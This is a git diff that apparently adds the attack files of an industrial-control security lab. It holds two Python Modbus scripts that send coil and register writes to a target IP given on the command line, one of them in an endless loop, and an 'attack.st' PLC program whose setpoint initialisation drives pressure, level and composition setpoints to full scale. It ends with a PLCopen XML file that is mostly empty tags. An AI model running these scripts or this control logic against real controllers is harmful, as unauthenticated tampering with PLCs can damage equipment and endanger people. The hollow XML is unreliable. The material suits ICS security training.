b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml 